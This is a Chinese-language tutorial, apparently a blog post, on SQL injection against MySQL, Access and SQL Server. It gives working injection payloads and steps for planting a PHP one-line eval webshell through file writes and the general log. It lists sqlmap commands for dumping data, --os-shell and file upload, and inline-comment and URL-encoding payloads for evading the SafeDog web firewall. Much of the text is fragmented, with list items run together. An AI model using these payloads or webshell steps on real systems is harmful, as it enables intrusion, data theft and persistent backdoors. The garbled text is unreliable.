SQL
SQL 注入全流程详解:多数据库、GetShell 及防护绕过
系统讲解了 SQL 注入技术,涵盖 MySQL、Access、SQL Server 三种主流数据库的注入原理与差异。内容包括联合注入、报错注入、盲注等核心手法,以及通过文件写入、日志写入等方式获取服务器权限(GetShell)的具体步骤。同时详细介绍了 SQLMap 工具的常用命令与配置,以及针对安全狗等 WAF 防护的内联注释、URL 编码等绕过技巧。最后总结了通用解题流程与安全注意事项,强调渗透测试需获得授权。

系统讲解了 SQL 注入技术,涵盖 MySQL、Access、SQL Server 三种主流数据库的注入原理与差异。内容包括联合注入、报错注入、盲注等核心手法,以及通过文件写入、日志写入等方式获取服务器权限(GetShell)的具体步骤。同时详细介绍了 SQLMap 工具的常用命令与配置,以及针对安全狗等 WAF 防护的内联注释、URL 编码等绕过技巧。最后总结了通用解题流程与安全注意事项,强调渗透测试需获得授权。

mysqli_multi_query 函数(支持分号分隔的多语句执行),区别于单语句执行的 mysqli_query。select * 拿数据,支持联合注入、报错注入。load_file('绝对路径')(需知道文件绝对路径 + 数据库读权限,如读取 Linux /etc/passwd);into outfile '路径/文件名'(仅支持文本文件)、into dumpfile '路径/文件名'(支持二进制文件,如图片);\\)或正斜杠(/)避免转义;引号被过滤时,可将路径转为进制规避。secure_file_priv=(空值允许任意路径写入),修改后必须重启 MySQL 服务。and 1=1、or 1=2 等关键字,优点是业务改动小、部署方便,缺点是易误报、易被绕过。objects、queries、relationships 三张系统表,外网环境无访问权限,访问报错即可判断。count(计数)、len(字符长度,区别于 MySQL 的 length)、asc(返回 ASCII 值,区别于 MySQL 的 ascii)、mid(字符串截取)、chr(ASCII 转字符)、if(条件判断)、exists(判断数据存在,返回布尔值)。admin、user)和字段名(如 username、password)。ID=8-1 验证,加号会被 URL 编码为空格,优先用减号);order by N 判断列数(如 11 列);exists 函数,如 and exists(select * from admin));from 表名 使语句完整);and exists(select username from admin));where 条件筛选。and/or 拼接方式;top 1 取第一行数据(not in 排除已取数据获取多行);len 判断字段长度;mid 截取字符 +asc 转 ASCII 值,遍历猜解内容(可借助 BP 工具自动化)。sysobjects 回显正常即可判断。sysdatabases:存于 master 库,记录所有库名 / 库 ID。sysobjects:每个库都有,xtype='U' 为用户创建的表,name 为表名、id 为表 ID。syscolumns:每个库都有,name 为字段名、id 为表 ID、colid 为字段 ID,可通过表 ID 联动查询字段。DB_NAME()(返回当前库名)、char()(ASCII 转字符)、ascii()(字符转 ASCII 值)、object_id()(返回表 ID 对应的表名)、col_name()(通过表 ID + 字段 ID 返回字段名)、substring()(字符串截取)。order by N 判断列数(如 13 列);null 占位,再用数字逐个验证类型,加 union all 避免去重报错);..,引号被过滤时可将内容转为十六进制)。1=(查询语句) 带出数据,可获取数据库版本、库名、表名、字段名、数据等。count 判断数据数量、len 判断字段长度、substring 截取字符、ascii 转值遍历猜解,无 limit,需用 not in 实现多行数据获取(可借助 BP 工具自动化)。<?php @eval($_GET[1]);?>,1 为连接密码)。into outfile(写文本文件)、into dumpfile(写二进制文件)。select '一句话木马' into outfile '网站绝对路径/木马.php' --+。-1 union select 1,'一句话木马' into outfile '路径' --+(需保证联合查询列数与原查询一致)。lines terminated by:设置行尾字符,写入木马;lines starting by:设置行首字符,写入木马;fields/column terminated by:设置字段分隔符,写入木马。1'; insert into 表名 (字段名) values('一句话木马') --+;select 字段名 from 表名 where 条件 into outfile '网站绝对路径/木马.php' --+。set global general_log = on;show variables like '%general_log_file%';set global general_log_file = '网站绝对路径/木马.php';select '一句话木马'(日志自动记录操作,写入木马)。--os-shell 命令一键写入 WebShell。python sqlmap.py 调用(Python2/3 均可,根据版本调整命令)。sqlmap -u "URL":探测 URL 中的注入点,判断注入类型和数据库。sqlmap -r 数据包.txt:加载抓包文件,探测 POST 注入或带 Cookie 的注入。sqlmap -m URL 列表.txt:从文本文件中读取多个 URL,批量探测。sqlmap -u "URL" --dbs:枚举所有数据库名。sqlmap -u "URL" -D 数据库名 --tables:枚举指定数据库的表名。sqlmap -u "URL" -D 数据库名 -T 表名 --columns:枚举指定表的字段名。sqlmap -u "URL" -D 数据库名 -T 表名 -C 字段名 --dump:导出指定字段数据(自动解码 MD5 等简单加密)。sqlmap -u "URL" --os-shell:自动写入一句话木马,需知道网站绝对路径和写权限。sqlmap -u "URL" --file-write 本地文件 --file-dest 目标路径:上传本地文件(如木马)到目标服务器。sqlmap -u "URL" -v 3:设置详细输出级别(3 级显示注入 payload)。sqlmap -u "URL" --level 3:设置探测等级(≥2 级探测 Cookie,≥3 级探测 User-Agent/Referer)。sqlmap -u "URL" --risk 2:设置风险等级(1 级测试基础语句,2 级增加时间盲注,3 级增加or语句注入,风险高需慎用)。sqlmap -u "URL" --random-agent:随机生成 User-Agent,绕过 User-Agent 拦截。sqlmap -u "URL" --delay 1:设置请求延迟(1 秒),模仿正常访问。sqlmap -u "URL" --tamper 脚本名:使用 tamper 脚本混淆注入语句(如unionalltounion.py替换union all为union)。sqlmap -u "URL" --cookie "Cookie 值":携带 Cookie 探测(需登录的注入点)。sqlmap -u "URL" --batch:自动选择默认选项,无需手动交互。sqlmap -u "URL" --current-db:查看当前数据库名。sqlmap -u "URL" --current-user:查看当前数据库用户。netstat -ano 查占用进程并关闭(系统进程不可关),安装命令 httpd -k install -n "Apache2.4",卸载命令 sc delete Apache2.4。ID=1 and 1=1 --+,触发'请求参数不合法'拦截则生效。and/or/order by等),绕狗核心是替换关键字或添加干扰内容,让安全狗无法识别。/*!5 位数字(<MySQL 版本,带 44 绕过率高)+ 关键字*/;ID=1/*!44244and*/1=1 --+;关键字/*!5 位数字(>MySQL 版本)+ 干扰内容*/关键字;ID=1ord/*!58888xxx*/er by 3 --+;ID=/*假参数*/正常参数/*假参数*/;ID=/*a=1*/1/*b=2*/and 1=1 --+;/*和*/包裹干扰内容。/*%16 进制字符 + 干扰内容*/关键字;ID=/*%0Aand%0A*/1=1 --+(%0A为换行符编码);%27、空格%20、and符%26、or符%7C。and→&&/%26%26,or→||/%7C%7C,order by→group by。/*!%0Aand%0A*/),提高绕过成功率。| 步骤 | 操作内容 | 验证方式 |
|---|---|---|
| 1.1 找注入点 | 测试 URL 参数(ID/name)、POST 表单参数,输入单引号(')、双引号(")、and 1=1、and 1=2 | 页面回显变化 / 报错则存在注入点 |
| 1.2 判断注入类型 | 数字型:ID=8-1(页面回显 ID=7 的内容);字符型:ID=1' and 1=1 --+(页面正常回显) | 数字型支持加减运算,字符型需引号闭合 |
| 1.3 判断数据库类型 | 参考各数据库判断方法(URL 后缀、报错信息、系统表访问) | 确定是 MySQL/Access/SQL Server 中的一种 |
| 步骤 | 操作内容 | 注意事项 |
|---|---|---|
| 2.1 判断查询列数 | 用order by N(N 从 1 递增),直到页面报错,前一个 N 即为列数 | SQL Server 联合查询需列类型一致,需提前验证 |
| 2.2 寻找回显位 | 构造-1 union select 1,2,...,N --+(N 为列数),观察页面显示数字的位置 | Access 需拼接from 表名,SQL Server 需匹配列类型 |
| 2.3 枚举数据 | 库名→表名→字段名→数据,根据数据库类型选择系统表枚举或猜解 | Access 需猜解表 / 字段,MySQL/SQL Server 可通过系统表枚举 |
| 步骤 | 操作内容 | 前提条件 |
|---|---|---|
| 3.1 确认前提 | 验证网站绝对路径、未对引号转义、数据库有写权限 | 无绝对路径可通过默认路径猜测(如D:/PHPstudy/WWW/) |
| 3.2 选择 getshell 方式 | 根据数据库类型选择函数写入 / 数据表写入 / 日志写入 / SQLMap 工具 | MySQL 支持所有方式,Access/SQL Server 需结合堆叠注入 / 管理权限 |
| 3.3 验证 WebShell | 通过浏览器访问http://目标 URL/木马.php?1=phpinfo();,显示 PHP 信息则成功 | 若无法访问,检查路径是否正确、权限是否足够 |
| 步骤 | 操作内容 | 验证方式 |
|---|---|---|
| 4.1 确认被拦关键字 | 单独测试and/or/order by等关键字,观察是否拦截 | 确定安全狗拦截的核心关键字 |
| 4.2 选择绕狗方式 | 根据关键字类型选择内联注释 / 参数污染 / URL 编码绕过 | 优先组合绕过,提高成功率 |
| 4.3 验证绕过效果 | 构造绕狗后的注入语句(如ID=1/*!44244and*/1=1 --+),页面正常回显则绕过成功 | 若仍拦截,更换绕狗方式或调整参数(如修改内联注释的 5 位数字) |
mysqli_multi_query函数):可直接执行多语句,优先尝试文件读写(load_file/into outfile)。from 表名,表名猜解优先尝试admin、user、member等常见名称。not in排除已取数据(如select top 1 username from admin where username not in (select top 1 username from admin))。null占位,再用数字 / 字符串逐个验证(如数字型列用1,字符型列用'a')。1=(查询语句)快速获取数据。secure_file_priv=并重启服务。length(),Access 用len(),SQL Server 用len()。limit m,n,Access/SQL Server 用top 1 + not in。--os-shell等高危命令仅在测试环境使用,真实场景禁用。
微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
在线格式化和美化您的 SQL 查询(它支持各种 SQL 方言)。 在线工具,SQL 美化和格式化在线工具,online
解析 INSERT 等受限 SQL,导出为 CSV、JSON、XML、YAML、HTML 表格(见页内语法说明)。 在线工具,SQL 转 CSV/JSON/XML在线工具,online
CSV 与 JSON/XML/HTML/TSV/SQL 等互转,单页多 Tab。 在线工具,CSV 工具包在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML 转 Markdown 互为补充。 在线工具,Markdown 转 HTML在线工具,online